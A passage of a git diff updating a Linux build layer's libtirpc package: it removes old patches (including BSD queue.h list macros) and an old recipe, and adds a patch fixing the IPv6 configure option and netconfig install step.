-+ if (((elm)->field.le_next = (head)->lh_first) != LIST_END(head))\
-+ (head)->lh_first->field.le_prev = &(elm)->field.le_next;\
-+ (head)->lh_first = (elm); \
-+ (elm)->field.le_prev = &(head)->lh_first; \
-+} while (/*CONSTCOND*/0)
-+
-+#define LIST_REMOVE(elm, field) do { \
-+ QUEUEDEBUG_LIST_OP((elm), field) \
-+ if ((elm)->field.le_next != NULL) \
-+ (elm)->field.le_next->field.le_prev = \
-+ (elm)->field.le_prev; \
-+ *(elm)->field.le_prev = (elm)->field.le_next; \
-+ QUEUEDEBUG_LIST_POSTREMOVE((elm), field) \
-+} while (/*CONSTCOND*/0)
-+
-+#define LIST_REPLACE(elm, elm2, field) do { \
-+ if (((elm2)->field.le_next = (elm)->field.le_next) != NULL) \
-+ (elm2)->field.le_next->field.le_prev = \
-+ &(elm2)->field.le_next; \
-+ (elm2)->field.le_prev = (elm)->field.le_prev; \
-+ *(elm2)->field.le_prev = (elm2); \
-+ QUEUEDEBUG_LIST_POSTREMOVE((elm), field) \
-+} while (/*CONSTCOND*/0)
-+
-+/*
-+ * Simple queue definitions.
-+ */
-+#define SIMPLEQ_HEAD(name, type) \
-+struct name { \
-+ struct type *sqh_first; /* first element */ \
-+ struct type **sqh_last; /* addr of last next element */ \
-+}
-+
-+#define SIMPLEQ_HEAD_INITIALIZER(head) \
-+ { NULL, &(head).sqh_first }
-+
-+#define SIMPLEQ_ENTRY(type) \
-+struct { \
-+ struct type *sqe_next; /* next element */ \
-+}
-+
-+/*
-+ * Simple queue access methods.
-+ */
-+#define SIMPLEQ_FIRST(head) ((head)->sqh_first)
-+#define SIMPLEQ_END(head) NULL
-+#define SIMPLEQ_EMPTY(head) ((head)->sqh_first == SIMPLEQ_END(head))
-+#define SIMPLEQ_NEXT(elm, field) ((elm)->field.sqe_next)
-+
-+#define SIMPLEQ_FOREACH(var, head, field) \
-+ for ((var) = ((head)->sqh_first); \
-+ (var) != SIMPLEQ_END(head); \
-+ (var) = ((var)->field.sqe_next))
-+
-+#define SIMPLEQ_FOREACH_SAFE(var, head, field, next) \
-+ for ((var) = ((head)->sqh_first); \
-+ (var) != SIMPLEQ_END(head) && \
-+ ((next = ((var)->field.sqe_next)), 1); \
-+ (var) = (next))
-+
-+/*
-+ * Simple queue functions.
-+ */
-+#define SIMPLEQ_INIT(head) do { \
-+ (head)->sqh_first = NULL; \
-+ (head)->sqh_last = &(head)->sqh_first; \
-+} while (/*CONSTCOND*/0)
-+
-+#define SIMPLEQ_INSERT_HEAD(head, elm, field) do { \
-+ if (((elm)->field.sqe_next = (head)->sqh_first) == NULL) \
-+ (head)->sqh_last = &(elm)->field.sqe_next; \
-+ (head)->sqh_first = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define SIMPLEQ_INSERT_TAIL(head, elm, field) do { \
-+ (elm)->field.sqe_next = NULL; \
-+ *(head)->sqh_last = (elm); \
-+ (head)->sqh_last = &(elm)->field.sqe_next; \
-+} while (/*CONSTCOND*/0)
-+
-+#define SIMPLEQ_INSERT_AFTER(head, listelm, elm, field) do { \
-+ if (((elm)->field.sqe_next = (listelm)->field.sqe_next) == NULL)\
-+ (head)->sqh_last = &(elm)->field.sqe_next; \
-+ (listelm)->field.sqe_next = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define SIMPLEQ_REMOVE_HEAD(head, field) do { \
-+ if (((head)->sqh_first = (head)->sqh_first->field.sqe_next) == NULL) \
-+ (head)->sqh_last = &(head)->sqh_first; \
-+} while (/*CONSTCOND*/0)
-+
-+#define SIMPLEQ_REMOVE_AFTER(head, elm, field) do { \
-+ if (((elm)->field.sqe_next = (elm)->field.sqe_next->field.sqe_next) \
-+ == NULL) \
-+ (head)->sqh_last = &(elm)->field.sqe_next; \
-+} while (/*CONSTCOND*/0)
-+
-+#define SIMPLEQ_REMOVE(head, elm, type, field) do { \
-+ if ((head)->sqh_first == (elm)) { \
-+ SIMPLEQ_REMOVE_HEAD((head), field); \
-+ } else { \
-+ struct type *curelm = (head)->sqh_first; \
-+ while (curelm->field.sqe_next != (elm)) \
-+ curelm = curelm->field.sqe_next; \
-+ if ((curelm->field.sqe_next = \
-+ curelm->field.sqe_next->field.sqe_next) == NULL) \
-+ (head)->sqh_last = &(curelm)->field.sqe_next; \
-+ } \
-+} while (/*CONSTCOND*/0)
-+
-+#define SIMPLEQ_CONCAT(head1, head2) do { \
-+ if (!SIMPLEQ_EMPTY((head2))) { \
-+ *(head1)->sqh_last = (head2)->sqh_first; \
-+ (head1)->sqh_last = (head2)->sqh_last; \
-+ SIMPLEQ_INIT((head2)); \
-+ } \
-+} while (/*CONSTCOND*/0)
-+
-+#define SIMPLEQ_LAST(head, type, field) \
-+ (SIMPLEQ_EMPTY((head)) ? \
-+ NULL : \
-+ ((struct type *)(void *) \
-+ ((char *)((head)->sqh_last) - offsetof(struct type, field))))
-+
-+/*
-+ * Tail queue definitions.
-+ */
-+#define _TAILQ_HEAD(name, type, qual) \
-+struct name { \
-+ qual type *tqh_first; /* first element */ \
-+ qual type *qual *tqh_last; /* addr of last next element */ \
-+}
-+#define TAILQ_HEAD(name, type) _TAILQ_HEAD(name, struct type,)
-+
-+#define TAILQ_HEAD_INITIALIZER(head) \
-+ { TAILQ_END(head), &(head).tqh_first }
-+
-+#define _TAILQ_ENTRY(type, qual) \
-+struct { \
-+ qual type *tqe_next; /* next element */ \
-+ qual type *qual *tqe_prev; /* address of previous next element */\
-+}
-+#define TAILQ_ENTRY(type) _TAILQ_ENTRY(struct type,)
-+
-+/*
-+ * Tail queue access methods.
-+ */
-+#define TAILQ_FIRST(head) ((head)->tqh_first)
-+#define TAILQ_END(head) (NULL)
-+#define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next)
-+#define TAILQ_LAST(head, headname) \
-+ (*(((struct headname *)((head)->tqh_last))->tqh_last))
-+#define TAILQ_PREV(elm, headname, field) \
-+ (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last))
-+#define TAILQ_EMPTY(head) (TAILQ_FIRST(head) == TAILQ_END(head))
-+
-+
-+#define TAILQ_FOREACH(var, head, field) \
-+ for ((var) = ((head)->tqh_first); \
-+ (var) != TAILQ_END(head); \
-+ (var) = ((var)->field.tqe_next))
-+
-+#define TAILQ_FOREACH_SAFE(var, head, field, next) \
-+ for ((var) = ((head)->tqh_first); \
-+ (var) != TAILQ_END(head) && \
-+ ((next) = TAILQ_NEXT(var, field), 1); (var) = (next))
-+
-+#define TAILQ_FOREACH_REVERSE(var, head, headname, field) \
-+ for ((var) = (*(((struct headname *)((head)->tqh_last))->tqh_last));\
-+ (var) != TAILQ_END(head); \
-+ (var) = (*(((struct headname *)((var)->field.tqe_prev))->tqh_last)))
-+
-+#define TAILQ_FOREACH_REVERSE_SAFE(var, head, headname, field, prev) \
-+ for ((var) = TAILQ_LAST((head), headname); \
-+ (var) != TAILQ_END(head) && \
-+ ((prev) = TAILQ_PREV((var), headname, field), 1); (var) = (prev))
-+
-+/*
-+ * Tail queue functions.
-+ */
-+#if defined(QUEUEDEBUG)
-+#define QUEUEDEBUG_TAILQ_INSERT_HEAD(head, elm, field) \
-+ if ((head)->tqh_first && \
-+ (head)->tqh_first->field.tqe_prev != &(head)->tqh_first) \
-+ QUEUEDEBUG_ABORT("TAILQ_INSERT_HEAD %p %s:%d", (head), \
-+ __FILE__, __LINE__);
-+#define QUEUEDEBUG_TAILQ_INSERT_TAIL(head, elm, field) \
-+ if (*(head)->tqh_last != NULL) \
-+ QUEUEDEBUG_ABORT("TAILQ_INSERT_TAIL %p %s:%d", (head), \
-+ __FILE__, __LINE__);
-+#define QUEUEDEBUG_TAILQ_OP(elm, field) \
-+ if ((elm)->field.tqe_next && \
-+ (elm)->field.tqe_next->field.tqe_prev != \
-+ &(elm)->field.tqe_next) \
-+ QUEUEDEBUG_ABORT("TAILQ_* forw %p %s:%d", (elm), \
-+ __FILE__, __LINE__); \
-+ if (*(elm)->field.tqe_prev != (elm)) \
-+ QUEUEDEBUG_ABORT("TAILQ_* back %p %s:%d", (elm), \
-+ __FILE__, __LINE__);
-+#define QUEUEDEBUG_TAILQ_PREREMOVE(head, elm, field) \
-+ if ((elm)->field.tqe_next == NULL && \
-+ (head)->tqh_last != &(elm)->field.tqe_next) \
-+ QUEUEDEBUG_ABORT("TAILQ_PREREMOVE head %p elm %p %s:%d",\
-+ (head), (elm), __FILE__, __LINE__);
-+#define QUEUEDEBUG_TAILQ_POSTREMOVE(elm, field) \
-+ (elm)->field.tqe_next = (void *)1L; \
-+ (elm)->field.tqe_prev = (void *)1L;
-+#else
-+#define QUEUEDEBUG_TAILQ_INSERT_HEAD(head, elm, field)
-+#define QUEUEDEBUG_TAILQ_INSERT_TAIL(head, elm, field)
-+#define QUEUEDEBUG_TAILQ_OP(elm, field)
-+#define QUEUEDEBUG_TAILQ_PREREMOVE(head, elm, field)
-+#define QUEUEDEBUG_TAILQ_POSTREMOVE(elm, field)
-+#endif
-+
-+#define TAILQ_INIT(head) do { \
-+ (head)->tqh_first = TAILQ_END(head); \
-+ (head)->tqh_last = &(head)->tqh_first; \
-+} while (/*CONSTCOND*/0)
-+
-+#define TAILQ_INSERT_HEAD(head, elm, field) do { \
-+ QUEUEDEBUG_TAILQ_INSERT_HEAD((head), (elm), field) \
-+ if (((elm)->field.tqe_next = (head)->tqh_first) != TAILQ_END(head))\
-+ (head)->tqh_first->field.tqe_prev = \
-+ &(elm)->field.tqe_next; \
-+ else \
-+ (head)->tqh_last = &(elm)->field.tqe_next; \
-+ (head)->tqh_first = (elm); \
-+ (elm)->field.tqe_prev = &(head)->tqh_first; \
-+} while (/*CONSTCOND*/0)
-+
-+#define TAILQ_INSERT_TAIL(head, elm, field) do { \
-+ QUEUEDEBUG_TAILQ_INSERT_TAIL((head), (elm), field) \
-+ (elm)->field.tqe_next = TAILQ_END(head); \
-+ (elm)->field.tqe_prev = (head)->tqh_last; \
-+ *(head)->tqh_last = (elm); \
-+ (head)->tqh_last = &(elm)->field.tqe_next; \
-+} while (/*CONSTCOND*/0)
-+
-+#define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \
-+ QUEUEDEBUG_TAILQ_OP((listelm), field) \
-+ if (((elm)->field.tqe_next = (listelm)->field.tqe_next) != \
-+ TAILQ_END(head)) \
-+ (elm)->field.tqe_next->field.tqe_prev = \
-+ &(elm)->field.tqe_next; \
-+ else \
-+ (head)->tqh_last = &(elm)->field.tqe_next; \
-+ (listelm)->field.tqe_next = (elm); \
-+ (elm)->field.tqe_prev = &(listelm)->field.tqe_next; \
-+} while (/*CONSTCOND*/0)
-+
-+#define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \
-+ QUEUEDEBUG_TAILQ_OP((listelm), field) \
-+ (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \
-+ (elm)->field.tqe_next = (listelm); \
-+ *(listelm)->field.tqe_prev = (elm); \
-+ (listelm)->field.tqe_prev = &(elm)->field.tqe_next; \
-+} while (/*CONSTCOND*/0)
-+
-+#define TAILQ_REMOVE(head, elm, field) do { \
-+ QUEUEDEBUG_TAILQ_PREREMOVE((head), (elm), field) \
-+ QUEUEDEBUG_TAILQ_OP((elm), field) \
-+ if (((elm)->field.tqe_next) != TAILQ_END(head)) \
-+ (elm)->field.tqe_next->field.tqe_prev = \
-+ (elm)->field.tqe_prev; \
-+ else \
-+ (head)->tqh_last = (elm)->field.tqe_prev; \
-+ *(elm)->field.tqe_prev = (elm)->field.tqe_next; \
-+ QUEUEDEBUG_TAILQ_POSTREMOVE((elm), field); \
-+} while (/*CONSTCOND*/0)
-+
-+#define TAILQ_REPLACE(head, elm, elm2, field) do { \
-+ if (((elm2)->field.tqe_next = (elm)->field.tqe_next) != \
-+ TAILQ_END(head)) \
-+ (elm2)->field.tqe_next->field.tqe_prev = \
-+ &(elm2)->field.tqe_next; \
-+ else \
-+ (head)->tqh_last = &(elm2)->field.tqe_next; \
-+ (elm2)->field.tqe_prev = (elm)->field.tqe_prev; \
-+ *(elm2)->field.tqe_prev = (elm2); \
-+ QUEUEDEBUG_TAILQ_POSTREMOVE((elm), field); \
-+} while (/*CONSTCOND*/0)
-+
-+#define TAILQ_CONCAT(head1, head2, field) do { \
-+ if (!TAILQ_EMPTY(head2)) { \
-+ *(head1)->tqh_last = (head2)->tqh_first; \
-+ (head2)->tqh_first->field.tqe_prev = (head1)->tqh_last; \
-+ (head1)->tqh_last = (head2)->tqh_last; \
-+ TAILQ_INIT((head2)); \
-+ } \
-+} while (/*CONSTCOND*/0)
-+
-+/*
-+ * Singly-linked Tail queue declarations.
-+ */
-+#define STAILQ_HEAD(name, type) \
-+struct name { \
-+ struct type *stqh_first; /* first element */ \
-+ struct type **stqh_last; /* addr of last next element */ \
-+}
-+
-+#define STAILQ_HEAD_INITIALIZER(head) \
-+ { NULL, &(head).stqh_first }
-+
-+#define STAILQ_ENTRY(type) \
-+struct { \
-+ struct type *stqe_next; /* next element */ \
-+}
-+
-+/*
-+ * Singly-linked Tail queue access methods.
-+ */
-+#define STAILQ_FIRST(head) ((head)->stqh_first)
-+#define STAILQ_END(head) NULL
-+#define STAILQ_NEXT(elm, field) ((elm)->field.stqe_next)
-+#define STAILQ_EMPTY(head) (STAILQ_FIRST(head) == STAILQ_END(head))
-+
-+/*
-+ * Singly-linked Tail queue functions.
-+ */
-+#define STAILQ_INIT(head) do { \
-+ (head)->stqh_first = NULL; \
-+ (head)->stqh_last = &(head)->stqh_first; \
-+} while (/*CONSTCOND*/0)
-+
-+#define STAILQ_INSERT_HEAD(head, elm, field) do { \
-+ if (((elm)->field.stqe_next = (head)->stqh_first) == NULL) \
-+ (head)->stqh_last = &(elm)->field.stqe_next; \
-+ (head)->stqh_first = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define STAILQ_INSERT_TAIL(head, elm, field) do { \
-+ (elm)->field.stqe_next = NULL; \
-+ *(head)->stqh_last = (elm); \
-+ (head)->stqh_last = &(elm)->field.stqe_next; \
-+} while (/*CONSTCOND*/0)
-+
-+#define STAILQ_INSERT_AFTER(head, listelm, elm, field) do { \
-+ if (((elm)->field.stqe_next = (listelm)->field.stqe_next) == NULL)\
-+ (head)->stqh_last = &(elm)->field.stqe_next; \
-+ (listelm)->field.stqe_next = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define STAILQ_REMOVE_HEAD(head, field) do { \
-+ if (((head)->stqh_first = (head)->stqh_first->field.stqe_next) == NULL) \
-+ (head)->stqh_last = &(head)->stqh_first; \
-+} while (/*CONSTCOND*/0)
-+
-+#define STAILQ_REMOVE(head, elm, type, field) do { \
-+ if ((head)->stqh_first == (elm)) { \
-+ STAILQ_REMOVE_HEAD((head), field); \
-+ } else { \
-+ struct type *curelm = (head)->stqh_first; \
-+ while (curelm->field.stqe_next != (elm)) \
-+ curelm = curelm->field.stqe_next; \
-+ if ((curelm->field.stqe_next = \
-+ curelm->field.stqe_next->field.stqe_next) == NULL) \
-+ (head)->stqh_last = &(curelm)->field.stqe_next; \
-+ } \
-+} while (/*CONSTCOND*/0)
-+
-+#define STAILQ_FOREACH(var, head, field) \
-+ for ((var) = ((head)->stqh_first); \
-+ (var); \
-+ (var) = ((var)->field.stqe_next))
-+
-+#define STAILQ_FOREACH_SAFE(var, head, field, tvar) \
-+ for ((var) = STAILQ_FIRST((head)); \
-+ (var) && ((tvar) = STAILQ_NEXT((var), field), 1); \
-+ (var) = (tvar))
-+
-+#define STAILQ_CONCAT(head1, head2) do { \
-+ if (!STAILQ_EMPTY((head2))) { \
-+ *(head1)->stqh_last = (head2)->stqh_first; \
-+ (head1)->stqh_last = (head2)->stqh_last; \
-+ STAILQ_INIT((head2)); \
-+ } \
-+} while (/*CONSTCOND*/0)
-+
-+#define STAILQ_LAST(head, type, field) \
-+ (STAILQ_EMPTY((head)) ? \
-+ NULL : \
-+ ((struct type *)(void *) \
-+ ((char *)((head)->stqh_last) - offsetof(struct type, field))))
-+
-+
-+#ifndef _KERNEL
-+/*
-+ * Circular queue definitions. Do not use. We still keep the macros
-+ * for compatibility but because of pointer aliasing issues their use
-+ * is discouraged!
-+ */
-+
-+/*
-+ * __launder_type(): We use this ugly hack to work around the the compiler
-+ * noticing that two types may not alias each other and elide tests in code.
-+ * We hit this in the CIRCLEQ macros when comparing 'struct name *' and
-+ * 'struct type *' (see CIRCLEQ_HEAD()). Modern compilers (such as GCC
-+ * 4.8) declare these comparisons as always false, causing the code to
-+ * not run as designed.
-+ *
-+ * This hack is only to be used for comparisons and thus can be fully const.
-+ * Do not use for assignment.
-+ *
-+ * If we ever choose to change the ABI of the CIRCLEQ macros, we could fix
-+ * this by changing the head/tail sentinal values, but see the note above
-+ * this one.
-+ */
-+static __inline const void * __launder_type(const void *);
-+static __inline const void *
-+__launder_type(const void *__x)
-+{
-+ __asm __volatile("" : "+r" (__x));
-+ return __x;
-+}
-+
-+#if defined(QUEUEDEBUG)
-+#define QUEUEDEBUG_CIRCLEQ_HEAD(head, field) \
-+ if ((head)->cqh_first != CIRCLEQ_ENDC(head) && \
-+ (head)->cqh_first->field.cqe_prev != CIRCLEQ_ENDC(head)) \
-+ QUEUEDEBUG_ABORT("CIRCLEQ head forw %p %s:%d", (head), \
-+ __FILE__, __LINE__); \
-+ if ((head)->cqh_last != CIRCLEQ_ENDC(head) && \
-+ (head)->cqh_last->field.cqe_next != CIRCLEQ_ENDC(head)) \
-+ QUEUEDEBUG_ABORT("CIRCLEQ head back %p %s:%d", (head), \
-+ __FILE__, __LINE__);
-+#define QUEUEDEBUG_CIRCLEQ_ELM(head, elm, field) \
-+ if ((elm)->field.cqe_next == CIRCLEQ_ENDC(head)) { \
-+ if ((head)->cqh_last != (elm)) \
-+ QUEUEDEBUG_ABORT("CIRCLEQ elm last %p %s:%d", \
-+ (elm), __FILE__, __LINE__); \
-+ } else { \
-+ if ((elm)->field.cqe_next->field.cqe_prev != (elm)) \
-+ QUEUEDEBUG_ABORT("CIRCLEQ elm forw %p %s:%d", \
-+ (elm), __FILE__, __LINE__); \
-+ } \
-+ if ((elm)->field.cqe_prev == CIRCLEQ_ENDC(head)) { \
-+ if ((head)->cqh_first != (elm)) \
-+ QUEUEDEBUG_ABORT("CIRCLEQ elm first %p %s:%d", \
-+ (elm), __FILE__, __LINE__); \
-+ } else { \
-+ if ((elm)->field.cqe_prev->field.cqe_next != (elm)) \
-+ QUEUEDEBUG_ABORT("CIRCLEQ elm prev %p %s:%d", \
-+ (elm), __FILE__, __LINE__); \
-+ }
-+#define QUEUEDEBUG_CIRCLEQ_POSTREMOVE(elm, field) \
-+ (elm)->field.cqe_next = (void *)1L; \
-+ (elm)->field.cqe_prev = (void *)1L;
-+#else
-+#define QUEUEDEBUG_CIRCLEQ_HEAD(head, field)
-+#define QUEUEDEBUG_CIRCLEQ_ELM(head, elm, field)
-+#define QUEUEDEBUG_CIRCLEQ_POSTREMOVE(elm, field)
-+#endif
-+
-+#define CIRCLEQ_HEAD(name, type) \
-+struct name { \
-+ struct type *cqh_first; /* first element */ \
-+ struct type *cqh_last; /* last element */ \
-+}
-+
-+#define CIRCLEQ_HEAD_INITIALIZER(head) \
-+ { CIRCLEQ_END(&head), CIRCLEQ_END(&head) }
-+
-+#define CIRCLEQ_ENTRY(type) \
-+struct { \
-+ struct type *cqe_next; /* next element */ \
-+ struct type *cqe_prev; /* previous element */ \
-+}
-+
-+/*
-+ * Circular queue functions.
-+ */
-+#define CIRCLEQ_INIT(head) do { \
-+ (head)->cqh_first = CIRCLEQ_END(head); \
-+ (head)->cqh_last = CIRCLEQ_END(head); \
-+} while (/*CONSTCOND*/0)
-+
-+#define CIRCLEQ_INSERT_AFTER(head, listelm, elm, field) do { \
-+ QUEUEDEBUG_CIRCLEQ_HEAD((head), field) \
-+ QUEUEDEBUG_CIRCLEQ_ELM((head), (listelm), field) \
-+ (elm)->field.cqe_next = (listelm)->field.cqe_next; \
-+ (elm)->field.cqe_prev = (listelm); \
-+ if ((listelm)->field.cqe_next == CIRCLEQ_ENDC(head)) \
-+ (head)->cqh_last = (elm); \
-+ else \
-+ (listelm)->field.cqe_next->field.cqe_prev = (elm); \
-+ (listelm)->field.cqe_next = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define CIRCLEQ_INSERT_BEFORE(head, listelm, elm, field) do { \
-+ QUEUEDEBUG_CIRCLEQ_HEAD((head), field) \
-+ QUEUEDEBUG_CIRCLEQ_ELM((head), (listelm), field) \
-+ (elm)->field.cqe_next = (listelm); \
-+ (elm)->field.cqe_prev = (listelm)->field.cqe_prev; \
-+ if ((listelm)->field.cqe_prev == CIRCLEQ_ENDC(head)) \
-+ (head)->cqh_first = (elm); \
-+ else \
-+ (listelm)->field.cqe_prev->field.cqe_next = (elm); \
-+ (listelm)->field.cqe_prev = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define CIRCLEQ_INSERT_HEAD(head, elm, field) do { \
-+ QUEUEDEBUG_CIRCLEQ_HEAD((head), field) \
-+ (elm)->field.cqe_next = (head)->cqh_first; \
-+ (elm)->field.cqe_prev = CIRCLEQ_END(head); \
-+ if ((head)->cqh_last == CIRCLEQ_ENDC(head)) \
-+ (head)->cqh_last = (elm); \
-+ else \
-+ (head)->cqh_first->field.cqe_prev = (elm); \
-+ (head)->cqh_first = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define CIRCLEQ_INSERT_TAIL(head, elm, field) do { \
-+ QUEUEDEBUG_CIRCLEQ_HEAD((head), field) \
-+ (elm)->field.cqe_next = CIRCLEQ_END(head); \
-+ (elm)->field.cqe_prev = (head)->cqh_last; \
-+ if ((head)->cqh_first == CIRCLEQ_ENDC(head)) \
-+ (head)->cqh_first = (elm); \
-+ else \
-+ (head)->cqh_last->field.cqe_next = (elm); \
-+ (head)->cqh_last = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define CIRCLEQ_REMOVE(head, elm, field) do { \
-+ QUEUEDEBUG_CIRCLEQ_HEAD((head), field) \
-+ QUEUEDEBUG_CIRCLEQ_ELM((head), (elm), field) \
-+ if ((elm)->field.cqe_next == CIRCLEQ_ENDC(head)) \
-+ (head)->cqh_last = (elm)->field.cqe_prev; \
-+ else \
-+ (elm)->field.cqe_next->field.cqe_prev = \
-+ (elm)->field.cqe_prev; \
-+ if ((elm)->field.cqe_prev == CIRCLEQ_ENDC(head)) \
-+ (head)->cqh_first = (elm)->field.cqe_next; \
-+ else \
-+ (elm)->field.cqe_prev->field.cqe_next = \
-+ (elm)->field.cqe_next; \
-+ QUEUEDEBUG_CIRCLEQ_POSTREMOVE((elm), field) \
-+} while (/*CONSTCOND*/0)
-+
-+#define CIRCLEQ_FOREACH(var, head, field) \
-+ for ((var) = ((head)->cqh_first); \
-+ (var) != CIRCLEQ_ENDC(head); \
-+ (var) = ((var)->field.cqe_next))
-+
-+#define CIRCLEQ_FOREACH_REVERSE(var, head, field) \
-+ for ((var) = ((head)->cqh_last); \
-+ (var) != CIRCLEQ_ENDC(head); \
-+ (var) = ((var)->field.cqe_prev))
-+
-+/*
-+ * Circular queue access methods.
-+ */
-+#define CIRCLEQ_FIRST(head) ((head)->cqh_first)
-+#define CIRCLEQ_LAST(head) ((head)->cqh_last)
-+/* For comparisons */
-+#define CIRCLEQ_ENDC(head) (__launder_type(head))
-+/* For assignments */
-+#define CIRCLEQ_END(head) ((void *)(head))
-+#define CIRCLEQ_NEXT(elm, field) ((elm)->field.cqe_next)
-+#define CIRCLEQ_PREV(elm, field) ((elm)->field.cqe_prev)
-+#define CIRCLEQ_EMPTY(head) \
-+ (CIRCLEQ_FIRST(head) == CIRCLEQ_ENDC(head))
-+
-+#define CIRCLEQ_LOOP_NEXT(head, elm, field) \
-+ (((elm)->field.cqe_next == CIRCLEQ_ENDC(head)) \
-+ ? ((head)->cqh_first) \
-+ : (elm->field.cqe_next))
-+#define CIRCLEQ_LOOP_PREV(head, elm, field) \
-+ (((elm)->field.cqe_prev == CIRCLEQ_ENDC(head)) \
-+ ? ((head)->cqh_last) \
-+ : (elm->field.cqe_prev))
-+#endif /* !_KERNEL */
-+
-+#endif /* !_SYS_QUEUE_H_ */
diff --git a/meta/recipes-extended/libtirpc/libtirpc/export_key_secretkey_is_set.patch b/meta/recipes-extended/libtirpc/libtirpc/export_key_secretkey_is_set.patch
deleted file mode 100644
index a276ba27a5..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc/export_key_secretkey_is_set.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-Add key_secretkey_is_set to exported symbols map
-
-key_secret_is_set is a typo in libtirpc map
-Patch taken from
-
-https://sourceforge.net/p/libtirpc/discussion/637321/thread/fd73d431/
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: libtirpc-1.0.1/src/libtirpc.map
-===================================================================
---- libtirpc-1.0.1.orig/src/libtirpc.map
-+++ libtirpc-1.0.1/src/libtirpc.map
-@@ -298,7 +298,7 @@ TIRPC_0.3.2 {
- key_gendes;
- key_get_conv;
- key_setsecret;
-- key_secret_is_set;
-+ key_secretkey_is_set;
- key_setnet;
- netname2host;
- netname2user;
diff --git a/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch b/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
new file mode 100644
index 0000000000..f746f986f4
--- /dev/null
+++ b/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
@@ -0,0 +1,52 @@
+From 077bbd32e8b7474dc5f153997732e1e6aec7fad6 Mon Sep 17 00:00:00 2001
+Message-Id: <077bbd32e8b7474dc5f153997732e1e6aec7fad6.1697120796.git.joerg.sommer@navimatix.de>
+From: =?UTF-8?q?J=C3=B6rg=20Sommer?= <joerg.sommer@navimatix.de>
+Date: Thu, 12 Oct 2023 16:22:59 +0200
+Subject: [PATCH] netconfig: remove tcp6, udp6 on --disable-ipv6
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+If the configuration for IPv6 is disabled, the netconfig should not contain
+settings for tcp6 and udp6.
+
+The test for the configure option didn't work, because it check the wrong
+variable.
+
+Signed-off-by: Jörg Sommer <joerg.sommer@navimatix.de>
+Upstream-Status: Submitted [libtirpc-devel@lists.sourceforge.net]
+Upstream-Status: Submitted [linux-nfs@vger.kernel.org]
+---
+ configure.ac | 2 +-
+ doc/Makefile.am | 5 +++++
+ 2 files changed, 6 insertions(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index fe6c517..b687f8d 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -64,7 +64,7 @@ fi
+ AC_ARG_ENABLE(ipv6,
+ [AC_HELP_STRING([--disable-ipv6], [Disable IPv6 support @<:@default=no@:>@])],
+ [],[enable_ipv6=yes])
+-AM_CONDITIONAL(INET6, test "x$disable_ipv6" != xno)
++AM_CONDITIONAL(INET6, test "x$enable_ipv6" != xno)
+ if test "x$enable_ipv6" != xno; then
+ AC_DEFINE(INET6, 1, [Define to 1 if IPv6 is available])
+ fi
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index d42ab90..b9678f6 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -2,3 +2,8 @@ dist_sysconf_DATA = netconfig bindresvport.blacklist
+
+ CLEANFILES = cscope.* *~
+ DISTCLEANFILES = Makefile.in
++
++if ! INET6
++install-exec-hook:
++ $(SED) -i '/^tcp6\|^udp6/d' "$(DESTDIR)$(sysconfdir)"/netconfig
++endif
+--
+2.34.1
+
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.0.2.bb b/meta/recipes-extended/libtirpc/libtirpc_1.0.2.bb
deleted file mode 100644
index f9718c576b..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc_1.0.2.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Transport-Independent RPC library"
-DESCRIPTION = "Libtirpc is a port of Suns Transport-Independent RPC library to Linux"
-SECTION = "libs/network"
-HOMEPAGE = "http://sourceforge.net/projects/libtirpc/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=183075&atid=903784"
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
- file://src/netname.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
-
-PROVIDES = "virtual/librpc"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2;name=libtirpc \
- ${GENTOO_MIRROR}/${BPN}-glibc-nfs.tar.xz;name=glibc-nfs \
- file://export_key_secretkey_is_set.patch \
- file://0001-replace-__bzero-with-memset-API.patch \
- file://0001-include-stdint.h-for-uintptr_t.patch \
- "
-
-SRC_URI_append_libc-musl = " \
- file://Use-netbsd-queue.h.patch \
- "
-
-SRC_URI[libtirpc.md5sum] = "d5a37f1dccec484f9cabe2b97e54e9a6"
-SRC_URI[libtirpc.sha256sum] = "723c5ce92706cbb601a8db09110df1b4b69391643158f20ff587e20e7c5f90f5"
-SRC_URI[glibc-nfs.md5sum] = "5ae500b9d0b6b72cb875bc04944b9445"
-SRC_URI[glibc-nfs.sha256sum] = "2677cfedf626f3f5a8f6e507aed5bb8f79a7453b589d684dbbc086e755170d83"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--disable-gssapi"
-
-do_configure_prepend () {
- cp -r ${WORKDIR}/tirpc ${S}
-}
-
-do_install_append() {
- chown root:root ${D}${sysconfdir}/netconfig
-}
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb b/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
new file mode 100644
